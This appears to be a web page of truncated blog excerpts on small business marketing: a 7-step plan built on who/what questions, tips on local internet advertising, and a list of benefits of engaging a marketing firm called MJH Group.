Most small business promotions focus on how great their products and services are. Instead, you should educate your target market consistently and start building a relationship that will establish your credibility and trust. It is important to develop a marketing mindset. “Think Marketing” your products and services all of the time. It is very important to consistently market your products and services. Don’t fall into the trap of stop and go marketing. Some small business owners only market when sales are down.

You can’t have a successful small business without having a successful small business marketing plan. Effective small business marketing is the way to growth and profits.

If you’re a small business owner or you want to know how to start a small business in the future, this simple 7-step plan will help you understand your business and your target market.

How to Start a Small Business Marketing Plan: 7 Steps

Begin the process by answering these questions:

1) Who — Who specifically is your target market? Who is your ideal client? What research can you do to find out more about your target market?

2) What — What products and services do your ideal clients want and need? What does your product and service do for your ideal client? What problems does your product solve for your customer? What are the solutions that your ideal client is looking for? What is your area of specialty that will differentiate you in the marketplace? What are the industry trends? What type of message will your ideal client likely respond to? What are you ultimately selling? For exam Continue reading »

You have a brilliant idea for a new business. You go ahead and open your business, ready to offer a wonderful new service to happily awaiting clients. But how can you drive those clients to you? How can you ensure that your business will succeed? What is the most important thing for your business – besides the customer? The answer is marketing. Marketing is the backbone of any business establishment. This is true especially when the targeted business focuses on a local community through local ads. Customized planning procedures are available online to suit each and every business in implementing an excellent marketing strategy.

Small businesses can benefit from the useful tips that are available on the Internet to target local search traffic. Tips are the best shortcut to use. The crucial objective of a marketing strategy is to cost-effectively increase traffic without resorting to banner advertising which is often ineffective. With the advent of the Internet, you will use sophisticated, cutting edge technology that reaches the maximum number of people. You do not have to resort to old, outdated, expensive marketing techniques that are no longer effective for your business, or any business.

Marketing your business on the internet help you to target at the specific group of consumers who are looking for your service or product more effectively. Everybody have internet services or is easily available. Most people simply do a search on the internet for a service or product they are looking for with a few keywords. Your business will be available to them with the necessary information even some description of your service or products. This is what a consumer is looking for.

The best local advertising tips also save considerable time and money when creating a marketing plan. These tips serve as a guide for the beginners in a field who wish to enhance and establish their small businesses. You get to utilize the secrets and tips that have worked for Continue reading »

 

The return on investment for the engagement of MJH Group for Small business marketing is based on the following;

Business Growth

• Increased sales and profit from effective strategy and campaign outcomes

Marketing Strategy

• The insight and direction provided by our strategic recommendations

• Provision of a documented strategic marketing plan which acts as the blue print for the successful marketing of your business

• Allowing you to proceed with confidence

• A planned and structured approach to marketing success

Campaign Outcomes

• Effective communication of your brand and offer

• Generate awareness in the market to achieve

• New customer acquisition

• A greater share of wallet from existing customers

• Increased sales and business growth

Commercialisation

• Assess the viability of new products or services

• Develop and implement strategies for the introduction or relaunch of products and services to provide commercial success

Direct Bottom Line Savings

• Direct Bottom Line Savings due to effective marketing management

• Measuring the ROI of promotions and campaigns to determine effectiveness

• Customer focus reducing the risk of ineffective promotion or campaigns

• Redirection of marketing investment into areas with the greatest r Continue reading »